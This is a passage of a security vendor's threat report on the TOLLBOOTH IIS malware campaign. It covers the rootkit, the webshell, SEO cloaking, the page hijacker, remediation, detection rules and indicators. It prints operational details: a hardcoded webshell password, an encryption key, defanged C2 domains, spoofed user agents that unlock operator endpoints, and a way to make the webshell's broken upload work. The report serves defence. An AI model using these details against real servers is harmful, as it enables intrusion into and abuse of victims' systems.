<p>The rootkit registers a callback with the <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/ntddk/nf-ntddk-pssetcreateprocessnotifyroutineex"><code>PsSetCreateProcessNotifyRoutineEx</code></a> API on process creation. When a new process is launched, this callback runs a function <code>CheckProcessFlags</code> that checks the process’s image against the configured list of image paths. It then creates an entry for this new process in its internal tracking table, setting its <code>excluded</code>, <code>protected</code>, and <code>hidden</code> flags accordingly.</p>
<p>Behavior based on flags:</p>
<ul>
<li><strong>Excluded</strong>
<ul>
<li>The rootkit will ignore the process and just let it run as expected.</li>
</ul>
</li>
<li><strong>Protected</strong>
<ul>
<li>The rootkit will not allow any other process to get a privileged handle on it, similar to what happens in <code>ProcessPreCallback</code>.</li>
</ul>
</li>
<li><strong>Hidden</strong>
<ul>
<li>The rootkit will hide the process by Direct Kernel Object Manipulation (DKOM). Directly manipulating a process's kernel structures at the very instant of its creation can be unstable. In the process creation callback, if a process needs to be hidden, it is unlinked from the ActiveProcessLinks list. However, it sets a <code>postponeHiding</code> flag that will be explained below.</li>
</ul>
</li>
</ul>
<h4>The Image Load callback (PsSetLoadImageNotifyRoutine)</h4>
<p>This registers the <code>LoadProcessImageNotifyCallback</code> using <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/ntddk/nf-ntddk-pssetloadimagenotifyroutine"><code>PsSetLoadImageNotifyRoutine</code></a>, which the kernel calls whenever an executable image (a <code>.exe</code> or <code>.dll</code>) is loaded into a process's memory.</p>
<p>When the image is loaded, the callback checks the <code>postponeHiding</code> flag; if set, it calls <code>UnlinkProcessFromCidTable</code> to remove it from the master process ID table (<code>PspCidTable</code>).</p>
<h3>InitializeFSMiniFilter</h3>
<p>The function defines its capabilities in the <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/fltkernel/ns-fltkernel-_flt_registration"><code>FilterRegistration structure(FLT_REGISTRATION)</code></a>. This structure tells the operating system which functions to call for which types of file system operations. It registers callbacks for the following requests:</p>
<ul>
<li><a href="https://learn.microsoft.com/en-us/previous-versions/windows/drivers/ifs/irp-mj-create"><code>IRP_MJ_CREATE</code></a>: Intercepts any attempt to open or create a file or directory.</li>
<li><a href="https://learn.microsoft.com/en-us/previous-versions/windows/drivers/ifs/irp-mj-directory-control"><code>IRP_MJ_DIRECTORY_CONTROL</code></a>: Intercepts any attempt to list the contents of a directory.</li>
</ul>
<h4>FltCreatePreOperation(IRP_MJ_CREATE)</h4>
<p>This is a pre-operation callback, when a process tries to create/open a file, this function is triggered. It will check the path against its list of files to be hidden. If a match is found, it will change the operation result of the IRP request to <code>STATUS_NO_SUCH_FILE</code>, indicating to the requesting process that the file does not exist, except if the process is included in the excluded list.</p>
<h4>FltDirCtrlPostOperation(IRP_MJ_DIRECTORY_CONTROL)</h4>
<p>This is a post-operation callback; the implemented hook essentially intercepts the directory listening generated by the system and modifies it by removing any files listed as hidden.</p>
<h3>InitializeRegistryFilter</h3>
<p>After concealing its processes and files, the rootkit's next step is to erase entries from the Windows Registry. The <code>InitializeRegistryFilter</code> function accomplishes this by installing a registry filtering callback to intercept and modify registry operations.</p>
<p>It registers a callback using the <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/nf-wdm-cmregistercallbackex"><code>CmRegisterCallbackEx</code></a> API, using the same principle as with files. If the registry key or value is in the hidden registry list, the callback function will return the status <code>STATUS_NOT_FOUND</code>.</p>
<h3>InitializeDevice</h3>
<p>The <code>InitializeDevice</code> function does the driver initialization needed, and it sets up an <a href="https://learn.microsoft.com/en-us/windows/win32/devio/device-input-and-output-control-ioctl-"><code>IOCTL communication</code></a> so that the userland application can communicate with it directly</p>
<p>The following is a table describing each IOCTL command handled by the driver.</p>
<table>
<thead>
<tr>
<th>IOCTL command</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>HID_IOCTL_SET_DRIVER_STATE</code></td>
<td>Soft enable/disable the rootkit functionalities by setting a global state flag that acts as a master on/off switch.</td>
</tr>
<tr>
<td><code>HID_IOCTL_GET_DRIVER_STATE</code></td>
<td>Retrieve the current state of the rootkit (enabled/disabled).</td>
</tr>
<tr>
<td><code>HID_IOCTL_ADD_HIDDEN_OBJECT</code></td>
<td>Adds a new rule to hide a specific file, directory, registry key, or value.</td>
</tr>
<tr>
<td><code>HID_IOCTL_REMOVE_HIDDEN_OBJECT</code></td>
<td>Removes a single hiding rule by its unique ID.</td>
</tr>
<tr>
<td><code>HID_IOCTL_REMOVE_ALL_HIDDEN_OBJECTS</code></td>
<td>Remove all hidden objects for a specific object type(registry keys/values, files, directories).</td>
</tr>
<tr>
<td><code>HID_IOCTL_ADD_OBJECT</code></td>
<td>Adds a new rule to automatically hide, protect, or exclude a process based on its image path.</td>
</tr>
<tr>
<td><code>HID_IOCTL_GET_OBJECT_STATE</code></td>
<td>Queries the current state (hidden, protected, or excluded) of a specific running process by its PID.</td>
</tr>
<tr>
<td><code>HID_IOCTL_SET_OBJECT_STATE</code></td>
<td>This command modifies the state (hidden, protected, or excluded) of a specific running process, identified by its PID.</td>
</tr>
<tr>
<td><code>HID_IOCTL_REMOVE_OBJECT</code></td>
<td>Removes a single process rule (hide, protect, or exclude) by its unique ID.</td>
</tr>
<tr>
<td><code>HID_IOCTL_REMOVE_ALL_OBJECTS</code></td>
<td>This command clears all process states and image rules of a specific type.</td>
</tr>
</tbody>
</table>
<h3>InitializeStealthMode</h3>
<p>After successfully setting up its configuration, process callbacks, and file system filters, the rootkit executes its final initialization routine: <code>InitializeStealthMode</code>. If the configuration flag <code>Kbj_YinshenMode</code> is enabled, it will hide every artifact associated with the rootkit, including registry keys, the <code>.sys</code> file, and other related components, using the same techniques described above.</p>
<h3>Code Variations</h3>
<p>While the malware is heavily based on the <code>HIDDENDRIVER</code> source code, our analysis identified several minor alterations. The following section breaks down the notable code differences we observed.</p>
<p>The original code in the <code>IsProcessExcluded</code> function consistently excludes the system process (PID 4) from the rootkit's operations. However, the malicious rootkit has an exclusion list for additional process names, as illustrated in the provided screenshot.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/tollbooth/image20.png" alt="Difference between “Hidden” and the rootkit function IsProcessExcluded" title="Difference between “Hidden” and the rootkit function IsProcessExcluded" /></p>
<p>The original code's callback for filtering system information (including files, directories, and registries) used the <code>IsDriverEnabled</code> function to verify if the driver functionalities were enabled. However, the observed rootkit introduced an additional, automatic whitelist check for processes with the image name hijack, which corresponds to the userland application.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/tollbooth/image28.png" alt="“Hidden” source code: FltDirCtrlPostOperation callback" title="“Hidden” source code: FltDirCtrlPostOperation callback" /></p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/tollbooth/image11.png" alt="“Hidden” source code: PsGetProcessImageFileName usage" title="“Hidden” source code: PsGetProcessImageFileName usage" /></p>
<h2>RMM usage</h2>
<p>The GotoHTTP tool is a legitimate Remote Monitoring and Management (RMM) application, deployed by the threat actor to maintain easier access to the compromised IIS server. Its “Browser-to-Client” architecture allows the attacker to control the server from any standard web browser over common web ports (<code>80</code>/<code>443</code>) by routing all traffic through GotoHTTP’s own platform, preventing direct network connection to the attacker’s own infrastructure.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/tollbooth/image25.png" alt="gotohttp[.]com landing page" title="gotohttp[.]com landing page" /></p>
<p>RMMs continue to <a href="https://www.proofpoint.com/us/blog/threat-insight/remote-monitoring-and-management-rmm-tooling-increasingly-attackers-first-choice">increase in popularity</a> for use at multiple points of the cyber kill chain and by various threat actors. Most anti-malware vendors do not consider them malicious in isolation and therefore do not block them outright. RMM C2 also only flows to legitimate RMM provider websites, and therefore has the same dynamics for network-based protections and monitoring.</p>
<p>Blocking the <a href="https://github.com/magicsword-io/LOLRMM/tree/main/detections/sigma">mass of currently active RMMs</a> and allowing only the enterprise's preferred RMM would be the optimal protection mechanism. However, this paradigm is only available to enterprises with the right technical knowledge, defensive tooling, mature organizational policies, and coordination across departments.</p>
<h2>IIS module analysis</h2>
<p>The threat actor was observed deploying both 32-bit and 64-bit versions of TOLLBOOTH, a malicious IIS module. TOLLBOOTH has been previously discussed by <a href="https://asec.ahnlab.com/en/87804/">Ahnlab</a> and the security researcher, <a href="https://x.com/AzakaSekai_/status/1969294757978652947">@Azaka</a>. Some of the malware’s key capabilities include SEO cloaking, a management channel, and a publicly accessible webshell. We discovered both native and .NET managed versions being deployed in the wild.</p>
<h3>Malware Config Structure</h3>
<p>TOLLBOOTH retrieves its configuration dynamically from <code>hxxps://c[.]cseo99[.]com/config/&lt;victim_HTTP_host_value&gt;.json,</code> and the creation of each victim’s JSON config file is handled by the threat actor’s infrastructure. However, <code>hxxps://c[.]cseo99[.]com/config/127.0.0.1.json</code> responded, showing a lack of anti-analysis checks - allowing us to retrieve a copy of a config file for analysis. It can be viewed in this <a href="https://gist.github.com/jiayuchann/b785e1f3960fa26923d821b7e93e2e94">GitHub Gist</a>, and we will reference how some of the fields are used as appropriate.</p>
<p>For native modules, the config and other temporary cache files are Gzip-compressed and stored locally at a hardcoded path <code>C:\\Windows\\Temp\\_FAB234CD3-09434-8898D-BFFC-4E23123DF2C\\</code>. For the managed module, these are AES-encrypted with key <code>YourSecretKey123</code> and IV <code>0123456789ABCDEF</code>, Gzip-compressed, and stored at <code>C:\\Windows\\Temp\\AcpLogs\\</code>.</p>
<h3>Webshell</h3>
<p>TOLLBOOTH exposes a webshell at the <code>/mywebdll</code> path, requiring a password of <code>hack123456!</code> for file uploads and execution of commands. Form submission sends a <code>POST</code> request to the <code>/scjg</code> endpoint.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/tollbooth/image17.png" alt="Webshell interface" title="Webshell interface" /></p>
<p>The password is hardcoded in the binary, and this webshell feature is present in both <code>v1.6.0</code> and <code>v1.6.1</code> of the native version of TOLLBOOTH.</p>
<p>The file upload functionality contains a bug that stems from its sequential, order-dependent parsing of <code>multipart/form-data</code> fields. The standard HTML form is structured such that the file input field appears before the directory input fields. The server processing the request parts attempts to handle the file data before the destination directory, creating a dependency conflict that causes standard uploads to fail. By manually reordering the <code>multipart/form-data</code> parts, a successful file upload can still be triggered.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/tollbooth/image12.png" alt="File upload PoC" title="File upload PoC" /></p>
<h3>Management Channel</h3>
<p>TOLLBOOTH exposes a few additional endpoints for C2 operators’ management/debug purposes. They are only accessible by setting the User Agent to one of the following (though it is configurable):</p>
<pre><code class="language-text">Hijackbot
gooqlebot
Googlebot/2.;
Googlébot
Googlêbot
Googlebót;
Googlebôt;
Googlebõt;
Googlèbot;
Googlëbot;
Binqbot
bingbot/2.;
Bíngbot
Bìngbot
Bîngbot
Bïngbot
Bingbót;
Bingbôt;
Bingbõt;
</code></pre>
<p>The <code>/health</code> endpoint provides a quick way to assess the module’s health, returning the file name to access the config stored at <code>c[.]cseo99[.]com</code>, disk space information, the module's installation path, and the version of TOLLBOOTH.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/tollbooth/image8.png" alt="Health endpoint response" title="Health endpoint response" /></p>
<p>The <code>/debug</code> endpoint provides more details, including a summary of the configuration, cache directory, HTTP request information, etc.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/tollbooth/image31.png" alt="/debug content" title="/debug content" /></p>
<p>The parsed configuration is accessible at <code>/conf</code>.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/tollbooth/image24.png" alt="/conf content" title="/conf content" /></p>
<p>The <code>/clean</code> endpoint allows the operator to clear the current configuration by deleting the config files stored locally (<code>clean?type=conf</code>) in order to update them on the victim server, clear any other temporary caches the malware uses (<code>clean?type=conf</code>), or clear both - everything in the <code>C:\\Windows\\Temp\\_FAB234CD3-09434-8898D-BFFC-4E23123DF2C\\</code> path (<code>clean?type=all</code>).</p>
<h3>SEO Cloaking</h3>
<p>The main goal of TOLLBOOTH is <a href="https://support.google.com/adspolicy/answer/15938075?sjid=10977824559696952423-NC#Cloaking">SEO cloaking</a>, a process that involves presenting keyword-optimized content to search engine crawlers, while concealing it from casual user browsing, to achieve higher search rankings for the page. Once a human visitor clicks the link from the boosted search results, the malware redirects them to a malicious or fraudulent page. This tactic is an effective way to increase traffic to malicious pages compared to alternatives like direct phishing, because users trust search engine results they request more than unsolicited emails.</p>
<p>TOLLBOOTH differentiates between bots and visitors by checking the User Agent and the Referer headers for values defined in the config.</p>
<p>Both the native and the managed modules are implemented almost identically. The only difference is that native modules <code>v1.6.0</code> and <code>v1.6.1</code> check both the User Agent and Referer against the <code>seoGroupRefererMatchRules</code> list, and the .NET module <code>v1.6.1</code> checks the User Agent against the <code>seoGroupUaMatchRules</code> list and Referer against the <code>seoGroupRefererMatchRules</code> list.</p>
<p>Based on the current configuration, the values for <code>seoGroupUaMatchRules</code> and <code>seoGroupRefererMatchRules</code> are <code>googlebot</code> and <code>google</code>, respectively. A GoogleBot crawler would have a User Agent match and not a Referer match, whereas a human visitor would have a Referer match but not a User Agent match. Looking at the fallback list containing both <code>bing</code> and <code>yahoo</code> suggests that those search engines were targeted in the past as well.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/tollbooth/image29.png" alt="Functions and fallback lists for User Agent and Referer checks" title="Functions and fallback lists for User Agent and Referer checks" /></p>
<p>The code snippet below is responsible for building a page filled with keyword-stuffed links that search engine crawlers will see.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/tollbooth/image23.png" alt="Function for generating page that links to SEO content" title="Function for generating page that links to SEO content" /></p>
<p>The module constructs a link farm in two phases. First, to build internal link density, it retrieves a list of random keywords from resource URIs defined in the <code>affLinkMainWordSeoResArr</code> configuration field. For each keyword, it generates a &quot;local link&quot; pointing to another SEO page on the same compromised website. Next, it builds the external network by retrieving &quot;affiliate link resources&quot; from the <code>affLinkSeoResArr</code> field. These resources are a list of URIs pointing to SEO pages on other external domains that are also infected with TOLLBOOTH. The URIs look like <code>hxxps://f[.]fseo99[.]com/&lt;date&gt;/&lt;md5_file_hash&gt;&lt;.txt/.html&gt;</code> in the configuration. The module then creates hyperlinks from the current site to these other victims. This technique, known as <a href="https://en.wikipedia.org/wiki/Link_farm">link farming</a>, is designed to artificially inflate search engine rankings across the entire network of compromised sites.</p>
<p>Below is an example of what a crawler bot would see when visiting the landing page of a web server infected with TOLLBOOTH.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/tollbooth/image4.png" alt="Visiting the landing page with User Agent “google”" title="Visiting the landing page with User Agent “google”" /></p>
<p>URL path prefixes to the SEO pages contain words or phrases from the <code>seoGroupUrlMatchRules</code> config field. This is also referenced in the site redirection logic targeting visitors. These are currently:</p>
<ul>
<li><code>stock</code></li>
<li><code>invest</code></li>
<li><code>summary</code></li>
<li><code>datamining</code></li>
<li><code>market-outlook</code></li>
<li><code>bullish-on</code></li>
<li><code>news-overview</code></li>
<li><code>news-volatility</code></li>
<li><code>video/</code></li>
<li><code>app/</code></li>
<li><code>blank/</code></li>
</ul>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/tollbooth/image32.png" alt="Example local links" title="Example local links" /></p>
<p>Templates and content for SEO pages are also externally retrieved from URIs that look like <code>hxxps://f[.]fseo99[.]com/&lt;date&gt;/&lt;md5_file_hash&gt;&lt;.txt/.html&gt;</code> in the config. Here is an example of what one of the SEO pages looks like:</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/tollbooth/image5.png" alt="Example SEO page" title="Example SEO page" /></p>
<p>For the user redirection logic, the module first gathers a fingerprint of the visitor, including their IP address, user agent, referrer, and the SEO page’s target keyword. It then sends this information via a POST request to <code>hxxps://api[.]aseo99[.]com/client/landpage</code>. If the request is successful, the server responds with a JSON object containing a specific <code>landpageUrl</code>, which becomes the destination for the redirect.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/tollbooth/image18.png" alt="Requesting for page to redirect to" title="Requesting for page to redirect to" /></p>
<p>If the communication fails for any reason, TOLLBOOTH falls back to constructing a new URL pointing to the same C2 endpoint but instead encodes the visitor’s information directly into the URL as GET parameters. Finally, the chosen URL - either from the successful C2 response or the fallback - is embedded into a JavaScript snippet (<code>window.location.href</code>) and sent to the victim’s browser, forcing an immediate redirection.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/tollbooth/image26.png" alt="Fallback request for the page to redirect to" title="Fallback request for the page to redirect to" /></p>
<h3>Page Hijacker</h3>
<p>For the native modules, if the URI path contains <code>xlb</code>, TOLLBOOTH responds with a custom loader page containing a script tag. This script's src attribute points to a dynamically generated URL, <code>mlxya[.]oss-accelerate[.]aliyuncs[.]com/&lt;12_random_alphanumeric_characters&gt;</code>, which is used to retrieve an obfuscated next-stage JavaScript payload.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/tollbooth/image27.png" alt="Random characters appended to domain hosting JS payload" title="Random characters appended to domain hosting JS payload" /></p>
<p>The deobfuscated payload appears to be a page-replacement tool that executes based on specific trigger keywords (e.g., <code>xlbh</code>, <code>mxlb</code>) found in the URL. Once triggered, it contacts one of the attacker-controlled endpoints at <code>asf-sikkeiyjga[.]cn-shenzhen[.]fcapp[.]run/index/index?href=</code> or <code>ask-bdtj-selohjszlw[.]cn-shenzhen[.]fcapp[.]run/index/index?key=</code>, appending the current page’s URL as a Base64-encoded parameter to identify the compromised site. The script then uses <code>document.write()</code> to completely wipe the current page’s DOM and replace it with the server’s response. While the final payload could not be retrieved at the time of writing, this technique is designed to inject attacker-controlled content, most commonly a malicious HTML page or a JS redirect to another malicious site.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/tollbooth/image19.png" alt="Deobfuscated page hijacker payload" title="Deobfuscated page hijacker payload" /></p>
<h2>Campaign targeting</h2>
<p>While conducting the analysis of TOLLBOOTH and its associated webshell, we identified multiple mechanisms to identify additional victims through active and semi-passive collection methods.</p>
<p>We then partnered with <a href="https://x.com/SreekarMad">@SreekarMad</a> at <a href="https://www.validin.com/">Validin</a> to leverage his expertise and their scanning infrastructure in an effort to develop a more comprehensive list of victims.</p>
<p>At the time of publication, 571 IIS server victims were identified with active TOLLBOOTH infections.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/tollbooth/image2.png" alt="Geographic distribution of victims serving TOLLBOOTH SEO cloaking" title="Geographic distribution of victims serving TOLLBOOTH SEO cloaking" /></p>
<p>These servers are globally distributed (with one major exception, described below), and do not fit into any neat industry vertical buckets. For these reasons, along with the sheer scale of the operation, we are led to believe that victim selection is untargeted and leverages automated scanning to identify IIS servers reusing publicly listed machine keys.</p>
<p>The collaboration with Validin and Texas A&amp;M System Cybersecurity yielded a robust amount of metadata about the additional TOLLBOOTH-infected victims.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/tollbooth/image21.png" alt="Metadata collected from an additional victim" title="Metadata collected from an additional victim" /></p>
<p>Automated exploitation may also be employed, but TAMUS Cybersecurity noted that the post-exploitation activity appeared to be interactive.</p>
<p>Validin discovered other potentially infected domains linked through the SEO farming link configs, but when checked for the webshell interface, found it inaccessible on some. After conducting a deeper manual investigation into these servers, we determined that they had been, in fact, TOLLBOOTH-infected, but either the owners remediated the issue or the attackers backed themselves out.</p>
<p>Subsequent scanning revealed that many of the same servers were reinfected. We have taken this to indicate that remediation was incomplete. One plausible explanation is that merely removing the threat does not close the vulnerability left open by the machine key reuse. So, victims who omit this final step are likely to be reinfected through the same mechanism. See the “Remediating REF3927” section below for additional details.</p>
<h3>Geography</h3>
<p>The geographic distribution of victims notably excludes any servers within China’s borders. One server was identified in Hong Kong, but it was hosting a <code>.co.uk</code> domain. This probable geofencing aligns with behavioral patterns from other criminal threats, where they implement mechanisms to ensure they do not target systems in their home countries. This mitigates their risk of prosecution as the governments of these countries tend to turn a blind eye toward, if not outright endorse, criminal activity targeting foreigners.</p>
<h3>Diamond model</h3>
<p>Elastic Security Labs utilizes the <a href="https://www.activeresponse.org/wp-content/uploads/2013/07/diamond.pdf">Diamond Model</a> to describe high-level relationships between adversaries, capabilities, infrastructure, and victims of intrusions. While the Diamond Model is most commonly used with single intrusions and leverages Activity Threading (section 8) to create relationships between incidents, an adversary-centered (section 7.1.4) approach allows for a single diamond.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/tollbooth/image22.png" alt="REF3927 Diamond Model" title="REF3927 Diamond Model" /></p>
<h2>Remediating REF3927</h2>
<p>Remediation of the infection itself can be completed through industry best practices, such as reverting to a clean state and addressing malware and persistence mechanisms. However, in the face of potential automated scanning and exploitation, the vulnerability of the reused machine key remains for whichever bad actor wants to take over the server.</p>
<p>Therefore, remediation must include rotation of machine keys to a new, <a href="https://support.winhost.com/kb/a1623/how-to-generate-a-machine-key-in-iis-manager.aspx">properly generated</a> key.</p>
<h2>Conclusion</h2>
<p>The REF3927 campaign highlights how a simple configuration error, such as using a publicly exposed machine key, can lead to significant compromise. In this event, Texas A&amp;M University System Cybersecurity and the affected customer took swift action to remediate the server, but based on our research, there continue to be other victims targeted using the same techniques.</p>
<p>The threat actor’s integration of open-source tooling, RMM software, and a malicious driver is an effective combination of techniques that have proven successful in their operations. Administrators of publicly exposed IIS environments should audit their machine key configurations, ensure robust security logging, and leverage endpoint detection solutions such as <a href="https://www.elastic.co/jp/security/endpoint-security">Elastic Defend</a> during potential incidents.</p>
<h2>Detection logic</h2>
<h3>Detection rules</h3>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/persistence_webshell_detection.toml">Web Shell Detection: Script Process Child of Common Web Processes</a></li>
</ul>
<h3>Prevention rules</h3>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/privilege_escalation_suspicious_execution_via_windows_services.toml">Suspicious Execution via Windows Services</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_potential_shellcode_injection_via_a_webshell.toml">Potential Shellcode Injection via a WebShell</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_execution_from_suspicious_directory.toml">Execution from Suspicious Directory</a></li>
</ul>
<h4>YARA signatures</h4>
<p>Elastic Security has created the following YARA rules to prevent the malware observed in REF3927:</p>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_Tollbooth.yar">Windows.Trojan.Tollbooth</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_HiddenCli.yar">Windows.Trojan.HiddenCli</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_HiddenDriver.yar">Windows.Trojan.HiddenDriver</a></li>
</ul>
<h2>REF3927 through MITRE ATT&amp;CK</h2>
<p>Elastic uses the <a href="https://attack.mitre.org/">MITRE ATT&amp;CK</a> framework to document common tactics, techniques, and procedures that threats use against enterprise networks.</p>
<h3>Tactics</h3>
<p>Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0001/">Initial Access</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0002/">Execution</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0005/">Defense Evasion</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0006/">Credential Access</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0009/">Collection</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0010">Exfiltration</a></li>
</ul>
<h3>Techniques</h3>
<p>Techniques represent how an adversary achieves a tactical goal by performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1190/">Exploit Public-Facing Application</a></li>
<li><a href="https://attack.mitre.org/techniques/T1505/004/">Server Software Component: IIS Components</a></li>
<li><a href="https://attack.mitre.org/techniques/T1003/">OS Credential Dumping</a></li>
<li><a href="https://attack.mitre.org/techniques/T1564/001/">Hide Artifacts: Hidden Files and Directories</a></li>
<li><a href="https://attack.mitre.org/techniques/T1005/">Data from Local System</a></li>
<li><a href="https://attack.mitre.org/techniques/T1014/">Rootkit</a></li>
<li><a href="https://attack.mitre.org/techniques/T1078/">Valid Accounts</a></li>
</ul>
<h2>Observations</h2>
<p>The following <a href="https://github.com/elastic/labs-releases/tree/main/indicators/tollbooth">observables</a> were discussed in this research.</p>
<table>
<thead>
<tr>
<th>Observable</th>
<th>Type</th>
<th>Name</th>
<th>Reference</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>913431f1d36ee843886bb052bfc89c0e5db903c673b5e6894c49aabc19f1e2fc</code></td>
<td>SHA-256</td>
<td><code>WingtbCLI.exe</code></td>
<td>HIDDENCLI</td>
</tr>
<tr>
<td><code>f9dd0b57a5c133ca0c4cab3cca1ac8debdc4a798b452167a1e5af78653af00c1</code></td>
<td>SHA-256</td>
<td><code>Winkbj.sys</code></td>
<td>HIDDENDRIVER</td>
</tr>
<tr>
<td><code>c1ca053e3c346513bac332b5740848ed9c496895201abc734f2de131ec1b9fb2</code></td>
<td>SHA-256</td>
<td><code>caches.dll</code></td>
<td>TOLLBOOTH</td>
</tr>
<tr>
<td><code>c348996e27fc14e3dce8a2a476d22e52c6b97bf24dd9ed165890caf88154edd2</code></td>
<td>SHA-256</td>
<td><code>scripts.dll</code></td>
<td>TOLLBOOTH</td>
</tr>
<tr>
<td><code>82b7f077021df9dc2cf1db802ed48e0dec8f6fa39a34e3f2ade2f0b63a1b5788</code></td>
<td>SHA-256</td>
<td><code>scripts.dll</code></td>
<td>TOLLBOOTH</td>
</tr>
<tr>
<td><code>bd2de6ca6c561cec1c1c525e7853f6f73bf6f2406198cd104ecb2ad00859f7d3</code></td>
<td>SHA-256</td>
<td><code>caches.dll</code></td>
<td>TOLLBOOTH</td>
</tr>
<tr>
<td><code>915441b7d7ddb7d885ecfe75b11eed512079b49875fc288cd65b023ce1e05964</code></td>
<td>SHA-256</td>
<td><code>CustomIISModule.dll</code></td>
<td>TOLLBOOTH</td>
</tr>
<tr>
<td><code>c[.]cseo99[.]com</code></td>
<td>domain-name</td>
<td></td>
<td>TOLLBOOTH config server</td>
</tr>
<tr>
<td><code>f[.]fseo99[.]com</code></td>
<td>domain-name</td>
<td></td>
<td>TOLLBOOTH SEO farming config server</td>
</tr>
<tr>
<td><code>api[.]aseo99[.]com</code></td>
<td>domain-name</td>
<td></td>
<td>TOLLBOOTH crawler reporting &amp; page redirector API</td>
</tr>
<tr>
<td><code>mlxya[.]oss-accelerate.aliyuncs[.]com</code></td>
<td>domain-name</td>
<td></td>
<td>TOLLBOOTH page hijacker payload hosting server</td>
</tr>
<tr>
<td><code>asf-sikkeiyjga[.]cn-shenzhen[.]fcapp.run</code></td>
<td>domain-name</td>
<td></td>
<td>TOLLBOOTH page hijacker content-fetching server</td>
</tr>
<tr>
<td><code>ask-bdtj-selohjszlw[.]cn-shenzhen[.]fcapp[.]run</code></td>
<td>domain-name</td>
<td></td>
<td>TOLLBOOTH page hijacker content-fetching server</td>
</tr>
<tr>
<td><code>bae5a7722814948fbba197e9b0f8ec5a6fe8328c7078c3adcca0022a533a84fe</code></td>
<td>SHA-256</td>
<td><code>1.aspx</code></td>
<td>Godzilla-forked webshell (Similar sample from VirusTotal)</td>
</tr>
<tr>
<td><code>230b84398e873938bbcc7e4a1a358bde4345385d58eb45c1726cee22028026e9</code></td>
<td>SHA-256</td>
<td><code>GotoHTTP.exe</code></td>
<td>GotoHTTP</td>
</tr>
<tr>
<td><code>Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101213 Opera/9.80 (Windows NT 6.1; U; zh-tw) Presto/2.7.62 Version/11.01 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36</code></td>
<td>User-Agent</td>
<td></td>
<td>User-Agent observed during exploitation via IIS ViewState injection</td>
</tr>
</tbody>
</table>
<h2>References</h2>
<p>The following were referenced throughout the above research:</p>
<ul>
<li><a href="https://www.microsoft.com/en-us/security/blog/2025/02/06/code-injection-attacks-using-publicly-disclosed-asp-net-machine-keys/">https://www.microsoft.com/en-us/security/blog/2025/02/06/code-injection-attacks-using-publicly-disclosed-asp-net-machine-keys/</a></li>
<li><a href="https://asec.ahnlab.com/en/87804/">https://asec.ahnlab.com/en/87804/</a></li>
<li><a href="https://unit42.paloaltonetworks.com/initial-access-broker-exploits-leaked-machine-keys/">https://unit42.paloaltonetworks.com/initial-access-broker-exploits-leaked-machine-keys/</a></li>
<li><a href="https://blog.blacklanternsecurity.com/p/aspnet-cryptography-for-pentesters">https://blog.blacklanternsecurity.com/p/aspnet-cryptography-for-pentesters</a></li>
<li><a href="https://github.com/ekkoo-z/Z-Godzilla_ekp">https://github.com/ekkoo-z/Z-Godzilla_ekp</a></li>
<li><a href="https://x.com/AzakaSekai_/status/1969294757978652947">https://x.com/AzakaSekai_/status/1969294757978652947</a></li>
</ul>
<h2>Addendum</h2>
<p>HarfangLab posted their draft research on this threat the same day this post was released. In it, there are additional complementary insights:</p>
<ul>
<li><a href="https://x.com/securechicken/status/1980715257791193420">https://x.com/securechicken/status/1980715257791193420</a></li>
<li><a href="https://harfanglab.io/insidethelab/rudepanda-owns-iis-servers-like-2003/">https://harfanglab.io/insidethelab/rudepanda-owns-iis-servers-like-2003/</a></li>
</ul>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/jp/security-labs/assets/images/tollbooth/tollbooth.png" length="0" type="image/png"/>
        </item>
        <item>
            <title><![CDATA[TOLLBOOTH: What's yours, IIS mine]]></title>
            <link>https://www.elastic.co/jp/security-labs/tollbooth</link>
            <guid>tollbooth</guid>
